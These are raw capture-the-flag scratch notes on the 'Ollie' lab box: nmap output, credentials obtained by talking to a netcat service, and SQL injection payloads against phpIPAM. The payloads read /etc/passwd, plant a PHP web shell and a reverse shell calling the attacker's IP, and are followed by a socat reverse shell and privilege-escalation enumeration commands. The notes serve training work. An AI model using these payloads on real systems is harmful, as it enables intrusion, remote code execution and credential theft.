Ollie scratch doc content (to clean up) - making a change from editor :)

VMIP: 10.10.163.9

http://10.10.163.9/index.php?page=login

db_nmap -v -A -p1000-10000 10.10.163.9
[*] Nmap: Starting Nmap 7.60 ( https://nmap.org ) at 2022-04-09 04:51 BST
[*] Nmap: NSE: Loaded 146 scripts for scanning.
[*] Nmap: NSE: Script Pre-scanning.
[*] Nmap: Initiating NSE at 04:51
[*] Nmap: Completed NSE at 04:51, 0.00s elapsed
[*] Nmap: Initiating NSE at 04:51
[*] Nmap: Completed NSE at 04:51, 0.00s elapsed
[*] Nmap: Initiating ARP Ping Scan at 04:51
[*] Nmap: Scanning 10.10.163.9 [1 port]
[*] Nmap: Completed ARP Ping Scan at 04:51, 0.22s elapsed (1 total hosts)
[*] Nmap: Initiating Parallel DNS resolution of 1 host. at 04:51
[*] Nmap: Completed Parallel DNS resolution of 1 host. at 04:51, 0.00s elapsed
[*] Nmap: Initiating SYN Stealth Scan at 04:51
[*] Nmap: Scanning ip-10-10-163-9.eu-west-1.compute.internal (10.10.163.9) [9001 ports]
[*] Nmap: Discovered open port 1337/tcp on 10.10.163.9

root@ip-10-10-192-160:~# nc 10.10.163.9 1337
Hey stranger, I'm Ollie, protector of panels, lover of deer antlers.

What is your name? admin
What's up, Admin! It's been a while. What are you here for? password
Ya' know what? Admin. If you can answer a question about me, I might have something for you.


What breed of dog am I? I'll make it a multiple choice question to keep it easy: Bulldog, Husky, Duck or Wolf? Bulldog
You are correct! Let me confer with my trusted colleagues; Benny, Baxter and Connie...
Please hold on a minute
Ok, I'm back.
After a lengthy discussion, we've come to the conclusion that you are the right person for the job.Here are the credentials for our administration panel.

Username: admin

Password: OllieUnixMontgomery!

PS: Good luck and next time bring some treats!

thanks! bringing treats, piles of treats you magnificent bastard!

https://fluidattacks.com/advisories/mercury/

Input (filter SQLi):
" union select 1,1,user(),1 -- -

1/phpipam_ollie@localhost (1)



" union select user(),1,1,load_file('/etc/passwd') -- -
phpipam_ollie@localhost/1 (root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing
List
Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats
Bug-Reporting
System
(admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemd
Network
Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd
Resolver,,,:/run/systemd:/usr/sbin/nologin
systemd-timesync:x:102:104:systemd
Time
Synchronization,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:106::/nonexistent:/usr/sbin/nologin
syslog:x:104:110::/home/syslog:/usr/sbin/nologin
_apt:x:105:65534::/nonexistent:/usr/sbin/nologin
tss:x:106:111:TPM
software
stack,,,:/var/lib/tpm:/bin/false
uuidd:x:107:112::/run/uuidd:/usr/sbin/nologin
tcpdump:x:108:113::/nonexistent:/usr/sbin/nologin
landscape:x:109:115::/var/lib/landscape:/usr/sbin/nologin
pollinate:x:110:1::/var/cache/pollinate:/bin/false
usbmux:x:111:46:usbmux
daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
sshd:x:112:65534::/run/sshd:/usr/sbin/nologin
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
ollie:x:1000:1000:ollie
unix
montgomery:/home/ollie:/bin/bash
lxd:x:998:100::/var/snap/lxd/common/lxd:/bin/false
mysql:x:113:118:MySQL Server,,,:/nonexistent:/bin/false dnsmasq:x:114:65534:dnsmasq,,,:/var/lib/misc:/usr/sbin/nologin )

" union select user(),1,1,load_file('/etc/group') -- -
phpipam_ollie@localhost/1 (root:x:0: daemon:x:1: bin:x:2: sys:x:3: adm:x:4:syslog,ollie tty:x:5:syslog disk:x:6: lp:x:7: mail:x:8: news:x:9: uucp:x:10: man:x:12: proxy:x:13: kmem:x:15: dialout:x:20: fax:x:21: voice:x:22: cdrom:x:24:ollie floppy:x:25: tape:x:26: sudo:x:27: audio:x:29: dip:x:30:ollie www-data:x:33: backup:x:34: operator:x:37: list:x:38: irc:x:39: src:x:40: gnats:x:41: shadow:x:42: utmp:x:43: video:x:44: sasl:x:45: plugdev:x:46:ollie staff:x:50: games:x:60: users:x:100: nogroup:x:65534: systemd-journal:x:101: systemd-network:x:102: systemd-resolve:x:103: systemd-timesync:x:104: crontab:x:105: messagebus:x:106: input:x:107: kvm:x:108: render:x:109: syslog:x:110: tss:x:111: uuidd:x:112: tcpdump:x:113: ssh:x:114: landscape:x:115: lxd:x:116: systemd-coredump:x:999: ollie:x:1000: ssl-cert:x:117: mysql:x:118: docker:x:119: )

" union select 1,'','','' into outfile '/var/www/html/test.php' -- -
" union select 1,2,3,'<?php system($_GET["cmd"]); ?>' into outfile '/var/www/html/cmd.php' -- -
http://10.10.163.9/cmd.php?cmd=whoami
1 2 3 www-data

http://10.10.163.9/cmd.php?cmd=uname%20-a
1 2 3 Linux hackerdog 5.4.0-99-generic #112-Ubuntu SMP Thu Feb 3 13:50:55 UTC 2022 x86_64 x86_64 x86_64 GNU/Linux

http://10.10.163.9/cmd.php?cmd=ls%20-al%20/home/ollie/
1 2 3
total 36
drwxr-xr-x 5 ollie ollie 4096 Feb 10 03:22 .
drwxr-xr-x 3 root root 4096 Feb 6 15:17 ..
lrwxrwxrwx 1 root root 9 Feb 6 15:29 .bash_history -> /dev/null
-rw-r--r-- 1 ollie ollie 220 Feb 25 2020 .bash_logout
-rw-r--r-- 1 ollie ollie 3771 Feb 25 2020 .bashrc
drwx------ 2 ollie ollie 4096 Feb 6 15:19 .cache
drwxrwxr-x 3 ollie ollie 4096 Feb 6 15:46 .config
drwxrwxr-x 3 ollie ollie 4096 Feb 6 15:20 .local
-rw-r--r-- 1 ollie ollie 807 Feb 25 2020 .profile
-rw-r--r-- 1 ollie ollie 0 Feb 10 03:21 .sudo_as_admin_successful
-r-x------ 1 ollie ollie 29 Feb 10 03:22 user.txt

" union select 1,'','','' into outfile '/var/www/html/test.php' -- -
" union select 1,2,3,'<?php $sock=fsockopen("10.6.18.225",1337);exec("/bin/sh -i <&3 >&3 2>&3"); ?>' into outfile '/var/www/html/sh.php' -- -


socat file:`tty`,raw,echo=0 TCP-L:4242
http://10.10.163.9/cmd.php?cmd=socat%20exec:%27bash%20-li%27,pty,stderr,setsid,sigint,sane%20tcp:10.6.18.225:4242


su - ollie (same password :P)

cat user.txt
THM{*********}


ollie@hackerdog:/etc$ find / -perm -u=s -type f 2>/dev/null | rev | cut -d'/' -f 1 | rev | sort | uniq
at
chfn
chsh
dbus-daemon-launch-helper
dmcrypt-get-device
fusermount
gpasswd
mount
newgrp
passwd
ping
pkexec
polkit-agent-helper-1
snap-confine
ssh-keysign
su
sudo
umount

ollie@hackerdog:/etc$ cat /etc/crontab
# /etc/crontab: system-wide crontab
# Unlike any other crontab you don't have to run the `crontab'
# command to install the new version when you edit this file
# and files in /etc/cron.d. These files also have username fields,
# that none of the other crontabs do.

SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin

# Example of job definition:
# .---------------- minute (0 - 59)
# | .------------- hour (0 - 23)
# | | .---------- day of month (1 - 31)
# | | | .------- month (1 - 12) OR jan,feb,mar,apr ...
# | | | | .---- day of week (0 - 6) (Sunday=0 or 7) OR sun,mon,tue,wed,thu,fri,sat
# | | | | |
# * * * * * user-name command to be executed
17 * * * * root cd / && run-parts --report /etc/cron.hourly
25 6 * * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47 6 * * 7 root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52 6 1 * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )


ollie@hackerdog:/etc/cron.d$ cat /etc/passwd | cut -d: -f1 # List of users
root
daemon
bin
sys
sync
games
man
lp
mail
news
uucp
proxy
www-data
backup
list
irc
gnats
nobody
systemd-network
systemd-resolve
systemd-timesync
messagebus
syslog
_apt
tss
uuidd
tcpdump
landscape
pollinate
usbmux
sshd
systemd-coredump
ollie
lxd
mysql
dnsmasq

 

User history

ollie@hackerdog:/etc$ history
    1  sudo apt update
    2  cat /etc/fstab
    3  ls
    4  history
    5  ls -al
    6  cd /etc
    7  ls -al
    8  ps axjf
    9  cat /usr/share/unattended-upgrades/unattended-upgrade-shutdown
   10  ps aux
   11  docker
   12  which docker
   13  docker ps
   14  find / -perm -u=s -type f 2>/dev/null
   15  cat /etc/profile
   16  cat /etc/bash.bashrc 
   17  cat /etc/bash.bashrc  | grep -i path
   18  cat /etc/* | grep -i path
   19  cat /etc/* | grep -i path 2>/dev/null
   20  find / -writable 2>/dev/null | cut -d "/" -f 2,3 | grep -v proc | sort -u
   21  cd /usr/bin
   22  ls -al
   23  echo $PATH
   24  cd /usr/games
   25  ls -al
   26  touch test
   27  cd ../local/sbin
   28  touch po
   29  cd /tmp
   30  ls
   31  cat poop
   32  cat test.php 
   33  ls -al
   34  ls -al | grep mysql
   35  cd ~
   36  ls
   37  ls -al
   38  cd /etc
   39  ls -al
   40  find / -perm -u=s -type f 2>/dev/null
   41  which update-alternatives
   42  find / -perm -u=s -type f 2>/dev/null | rev | cut -d'/' -f 1 | rev | uniq
   43  find / -perm -u=s -type f 2>/dev/null | rev | cut -d'/' -f 1 | sort | uniq
   44  find / -perm -u=s -type f 2>/dev/null | rev | cut -d'/' -f 1 | rev | sort | uniq
   45  getcap -r / 2>/dev/null
   46  cat /etc/crontab
   47  which run-parts
   48  vim /usr/bin/run
   49  vim /usr/bin/run-parts
   50  sudo -l
   51  uname -a
   52  cat /etc/profile
   53  cat /etc/bashrc
   54  env
   55  cat /proc/version
   56  uname -mrs
   57  ls -aRl /etc/ | awk '$1 ~ /^.*r.*/
   58  ls -aRl /etc/ | awk '$1 ~ /^.*r.*/'
   59  crontab -l
   60  cat /etc/anacrontab
   61  cat /etc/crontab
   62  cd /etc/cron
   63  ls
   64  cd /etc/cron.hourly/
   65  ls
   66  cd ../cron.d
   67  ls
   68  ls -al
   69  cat popularity-contest 
   70  cat *
   71  ls -al /usr/lib/php/sessionclean
   72  ls -al /sbin/e2scrub_all
   73  ls -al /run/systemd/system
   74  ls -al /usr/lib/x86_64-linux-gnu/e2fsprogs/e2scrub_all_cron
   75  grep -RHin "exec" .
   76  grep -RHin "conf" .
   77  cat /etc/cron.daily/popularity-contest
   78  ls -al /etc/cron.daily/popularity-contest
   79  popularity-contest
   80  cd ~
   81  cd /etc/cron.d
   82  ls
   83  cat e2scrub_all 
   84  cat php
   85  cat popularity-contest 
   86  cd /usr/lib/php
   87  ls -al
   88  cd /etc/cron.d
   89  ls
   90  cat popularity-contest 
   91  cat /etc/crontab 
   92  anacron -h
   93  test -x /usr/sbin/anacron
   94  echo $?
   95  echo "poo" > /usr/sbin/anacron
   96  grep --color=auto -rnw '/' -ie "PASSWORD" --color=always 2> /dev/null
   97  snap --version
   98  cat /etc/security/opasswd
   99  strings /dev/mem -n10 | grep -i PASS
  100  locate password
  101  find / -type f -name *password*
  102  find / -type f -name *password* 2>/dev/null
  103  cat /etc/pam.d/common-password
  104  cat /var/cache/debconf/passwords.dat
  105  ifconfig
  106  cat /etc/resolv.conf
  107  lsof -i
  108  cat /etc/passwd | cut -d: -f1    # List of users
  109  grep -v -E "^#" /etc/passwd | awk -F: '$3 == 0 { print $1}'   # List of super users
  110  awk -F: '($3 == "0") {print}' /etc/passwd   # List of super users
  111  cat /etc/sudoers
  112  ls -alh /var/mail/
  113  ls -ahlR /root/
  114  vim /root/.ssh/authorized_keys
  115  ls -alhR /var/www/html/
  116  df -h
  117  mount
  118  history
  119  grep --color=auto -rnw '/' -ie "root_squash" --color=always 2>/dev/null
  120  echo "PubkeyAcceptedKeyTypes=+ssh-dss" >> /etc/ssh/sshd_config
  121  getcap -r  /usr/bin
  122  find / -writable ! -user `whoami` -type f ! -path "/proc/*" ! -path "/sys/*" -exec ls -al {} \; 2>/dev/null
  123  vim $(which feedme)
  124  which feedme
  125  cat /usr/bin/feedme
  126  vim /usr/bin/feedme
  127  feedme
  128  cd /
  129  grep -Rn feedme .
  130  chmod +x /usr/bin/feedme
  131  cd /usr/bin
  132  ls -al | grep olli
  133  cd /etc/
  134  grep -RHn "feedme" . 2>/dev/null
  135  service feedme status
  136  vim /usr/bin/feedme
  137  service feedme status
  138  service feedme restart
  139  feedme
  140  service feedme restart
  141  service feedme status
  142  history